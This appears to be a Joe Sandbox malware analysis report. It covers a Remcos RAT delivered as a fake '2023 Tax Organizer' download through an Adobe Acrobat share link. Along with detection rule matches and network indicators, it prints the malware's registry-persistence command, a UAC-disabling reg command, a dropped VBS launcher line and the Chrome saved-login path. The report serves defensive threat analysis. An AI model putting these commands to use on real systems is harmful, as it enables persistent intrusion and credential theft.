Edit tour

Windows Analysis Report
https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5

Overview

General Information

Sample URL:	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5
Analysis ID:	1428438
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected Remcos RAT

Malicious sample detected (through community Yara rule)

Sigma detected: Remcos

System process connects to network (likely due to code injection or exploit)

Yara detected Remcos RAT

Yara detected UAC Bypass using CMSTP

Blob-based file download detected

Creates autostart registry keys with suspicious names

Potential malicious VBS script found (suspicious strings)

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows Shell Script Host drops VBS files

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2012,i,12056640513929630974,10995804170337098686,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

rundll32.exe (PID: 7892 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

Tax Organizer.exe (PID: 8156 cmdline: "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe" MD5: 4DB45C5FDB9E115B922BDF007523F082)

Tax Organizer.exe (PID: 1764 cmdline: "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe" MD5: 4DB45C5FDB9E115B922BDF007523F082)

wscript.exe (PID: 6552 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

wscript.exe (PID: 6732 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 7588 cmdline: cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7736 cmdline: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6b422:$a1: Remcos restarted by watchdog! 0x6b99a:$a3: %02i:%02i:%02i:%03i
0000000E.00000002.2490459455.0000000000638000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 148.72.177.212, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6552, Protocol: tcp, SourceIp: 192.168.2.16, SourceIsIpv6: false, SourcePort: 49898

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe", ParentImage: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe, ParentProcessId: 1764, ParentProcessName: Tax Organizer.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe", ParentImage: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe, ParentProcessId: 1764, ParentProcessName: Tax Organizer.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe", ParentImage: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe, ParentProcessId: 1764, ParentProcessName: Tax Organizer.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , ProcessId: 6552, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\SysWOW64\wscript.exe, ProcessId: 6552, TargetFilename: C:\Users\user\Start Menu\Programs\Startup\FDNUA.vbs

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll,EntryPoint, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7736, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\*Chrome

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f , CommandLine: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f , ProcessId: 7736, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f & exit, CommandLine: cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe" , ParentImage: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe, ParentProcessId: 8156, ParentProcessName: Tax Organizer.exe, ProcessCommandLine: cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f & exit, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 148.72.177.212, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6552, Protocol: tcp, SourceIp: 192.168.2.16, SourceIsIpv6: false, SourcePort: 49898

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe", ParentImage: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe, ParentProcessId: 1764, ParentProcessName: Tax Organizer.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs" , ProcessId: 6552, ProcessName: wscript.exe

Stealing of Sensitive Information

Sigma detected: Remcos

Source: Registry Key set

Author: Joe Security: Data: Details: BB 4C 02 30 D6 BC EB D9 76 39 F3 DA 98 5E D2 73 C7 43 94 E2 E2 B0 DE 17 67 69 D0 55 3F 57 F1 61 D7 14 B8 C7 52 DD 5B 65 CB 0E 9C F4 F1 BA F9 92 9E 4B 34 93 6A C5 AE 2B 6B 67 97 80 33 E3 3A 3F B4 31 BB F4 F2 9C 2E DB 62 B8 11 8D BE 9F 69 14 24 05 90 B3 4F 0A CA D3 7A E9 9B 2D 24 9D C5 00 63 C2 FD 8A 21 79 E9 22 32 F5 35 C2 66 59 47 F9 5D 5A 73 15 0B C4 11 75 4D 30 B4 F7 90 2D 37 53 83 0D BF 79 AE 01 64 E1 D6 03 AC AD CD 0B 80 11 FE DE 29 5D 59 0E A0 64 22 B9 08 84 9A 6B 55 85 , EventID: 13, EventType: SetValue, Image: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe, ProcessId: 1764, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Rmc-DRFJJD\exepath

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://geoplugin.net/json.gp

URL Reputation: Label: phishing

Yara detected Remcos RAT

Source: Yara match	File source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2490459455.0000000000638000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Source: unknown	HTTPS traffic detected: 23.220.189.216:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.220.189.216:443 -> 192.168.2.16:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.16:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.16:49899 version: TLS 1.2

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 148.72.177.212 443

Uses dynamic DNS services

Source: unknown

DNS query: name: faststaynow.duckdns.org

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 23.220.189.216
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: adobe.tt.omtrdc.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 23.220.189.216:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.220.189.216:443 -> 192.168.2.16:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.16:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.16:49899 version: TLS 1.2

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2490459455.0000000000638000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Blob-based file download detected

Source: C:\Users\user\Downloads\2023 Tax Organizer.zip

File download: blob:https://acrobat.adobe.com/2b8c944b-39d2-4efa-8686-d2e1adb6d166

Potential malicious VBS script found (suspicious strings)

Source: C:\Windows\SysWOW64\wscript.exe

Dropped file: EMPYA.ShellExecute APPDATA & "\VJQSJ.cmd", "", APPDATA, "", 0

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Network Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{093FF999-1EA0-4079-9525-9614C3504B74}
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: XML HTTP 6.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{88d96a0a-f192-11d4-a65f-0040963251e5}

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f

Source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
